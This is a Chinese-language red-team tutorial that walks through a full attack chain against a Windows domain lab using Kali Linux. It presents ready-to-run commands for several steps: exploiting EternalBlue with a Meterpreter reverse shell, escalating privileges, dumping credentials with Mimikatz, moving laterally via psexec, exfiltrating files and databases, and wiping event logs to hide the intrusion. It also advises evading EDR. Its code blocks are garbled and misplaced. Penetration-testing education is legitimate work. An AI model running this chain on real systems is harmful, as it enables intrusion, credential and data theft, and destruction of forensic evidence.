一、从一起APT攻击事件引发的思考
就在不久前,一家国际知名企业遭遇了高级持续性威胁(APT)攻击。攻击者通过精心设计的鱼叉式钓鱼邮件,诱导受害者打开含有恶意宏代码的文档。恶意文档利用了企业内部未修复的漏洞,最终触发远程代码执行。随后,攻击者在目标内网中横向移动,窃取了大量敏感数据。
这一事件暴露出的问题令人深思:企业防御体系对新兴攻击技术的敏感度不足,漏洞修复滞后,而攻击者的技术手段却愈发隐蔽和精准。那么作为渗透测试人员,如果我要模拟类似的攻击链,能否使用Kali Linux的工具实现完整的测试流程?

本文将带你从攻击者视角出发,使用Kali Linux搭建一个实战化的攻击测试环境,并逐步解析从漏洞利用到横向移动的完整攻击链。所有技术仅允许用于授权的安全测试!勿用于非法用途。
---
二、搭建环境:准备你的战场
目标环境规划
为了让攻击测试尽可能贴近真实场景,我们需要搭建一个完整的测试环境:
- 目标设备:Windows Server 2019(域控)、Windows 10(域内终端)
- 网络结构:内网域环境(包含Active Directory)
- 攻击设备:Kali Linux作为红队主机
- 工具配置:预安装的Kali工具包:Metasploit、Empire、Responder等。
环境搭建步骤
1. 配置Kali Linux主机
- 下载最新的Kali Linux镜像,并安装在VMware或VirtualBox中。
- 更新工具库:
- 安装常用工具:
<pre><code class="language-bash">sudo apt update && sudo apt upgrade -y</code></pre>
<pre><code class="language-bash">sudo apt install metasploit-framework crackmapexec responder -y</code></pre>
2. 搭建Windows域环境
- 在VMware中安装Windows Server 2019,并创建Active Directory域。
- 配置域用户和域组:
- 创建普通域用户:
domain_user - 创建管理员账户:
admin_user
3. 网络配置
- 将Kali和目标设备设置为同一子网。
- 检查网络连通性:
<pre><code class="language-bash">ping <目标IP></code></pre>
至此,我们的测试环境已经就绪,现在可以进入攻击环节。
---
三、信息收集:锁定目标的弱点
任何成功的攻击都始于信息收集。在这一阶段,我们将使用Kali Linux内置工具对目标进行侦察,寻找潜在漏洞。
探测目标网络
- 扫描开放端口:
- 使用
nmap扫描目标设备: - 输出示例:
<pre><code class="language-bash">nmap -sS -p- <目标IP></code></pre>
<pre><code> PORT STATE SERVICE 445/tcp open microsoft-ds 3389/tcp open ms-wbt-server 80/tcp open http `
- 检查共享资源:
- 使用
smbclient枚举共享:</code></pre>bash
smbclient -L //<目标IP> <pre><code>
枚举域信息
- 使用
crackmapexec获取域用户信息:</code></pre>bash - 使用
ldapsearch枚举域结构(需要域账户凭证):</code></pre>bash
crackmapexec smb <目标IP> --users <pre><code>
ldapsearch -x -h <域控IP> -D "<域用户>" -w "<密码>" -b "<域名>" <pre><code> ---
四、漏洞利用:突破第一道防线

定位高危漏洞
根据信息收集结果,我们发现目标设备的445端口开放,可能存在SMB相关漏洞。通过Kali的searchsploit工具搜索漏洞:</code></pre>bash searchsploit smb <pre><code>
攻击案例:利用永恒之蓝漏洞
- 使用Metasploit加载模块:</code></pre>bash
- 成功后,获得Meterpreter会话:
msfconsole use exploit/windows/smb/ms17_010_eternalblue set RHOSTS <目标IP> set PAYLOAD windows/meterpreter/reverse_tcp set LHOST <攻击机IP> exploit <pre><code>
- 检查目标权限:</code></pre>bash
getuid <pre><code> - 提升权限:</code></pre>bash run post/windows/escalate/getsystem <pre><code> ---
五、横向移动:内网漫游的艺术
攻击者在内网中的目标是扩大控制范围,尤其是获取域管理员权限。以下是常见的横向移动技术。
使用Mimikatz窃取凭证
- 在Meterpreter会话中上传Mimikatz:</code></pre>bash
upload /path/to/mimikatz.exe <pre><code>2. 执行Mimikatz:</code></pre>bash mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" <pre><code>
使用PsExec远程执行命令
- 利用
PsExec模块在域内横向移动:</code></pre>bash
use exploit/windows/smb/psexec set RHOSTS <目标内网IP> set SMBUser <域用户名> set SMBPass <域密码> exploit <pre><code> ---
六、数据窃取:达到攻击的终点
攻击者的最终目标通常是窃取敏感数据,如数据库、文件或邮件。以下是两种常见的数据窃取方法。
文件窃取
- 使用Meterpreter下载文件:</code></pre>bash
- 如果目标文件数量较多,可以打包压缩后下载:</code></pre>bash
download C:\SensitiveData\report.docx /tmp/report.docx <pre><code>
execute -f powershell.exe -a "'Compress-Archive -Path C:\SensitiveData\* -DestinationPath C:\Temp\data.zip'" download C:\Temp\data.zip /tmp/data.zip <pre><code>
数据库导出
若目标服务器运行数据库服务(如MySQL或MSSQL),可以导出数据库:</code></pre>bash mysql -h <目标IP> -u <用户名> -p<密码> -e "SELECT * FROM sensitive_table" <pre><code> 
---
七、痕迹清理:毁尸灭迹的技巧

在攻击结束后,清理痕迹是必要步骤,以避免被安全设备和管理员发现。
清除日志
- 在目标设备上删除事件日志:</code></pre>bash
- 使用Metasploit模块清理痕迹:</code></pre>bash
wevtutil cl Application wevtutil cl Security <pre><code>
use post/windows/manage/clearlogs set SESSION <session_id> run `
---
八、个人经验:红队的秘密武器
作为一名红队成员,多年的渗透测试经验告诉我:攻击的成功率往往取决于细节的把控。
- 模拟真实环境:尽量让测试环境贴近目标生产环境。
- 保持隐秘性:绕过EDR和沙箱,使用内存加载技术。
- 快速迭代:攻击工具和Payload需要持续优化,以对抗防御方升级的安全策略。
最后,记住:攻击只是手段,安全才是目的。希望本文能为你的授权测试提供灵感。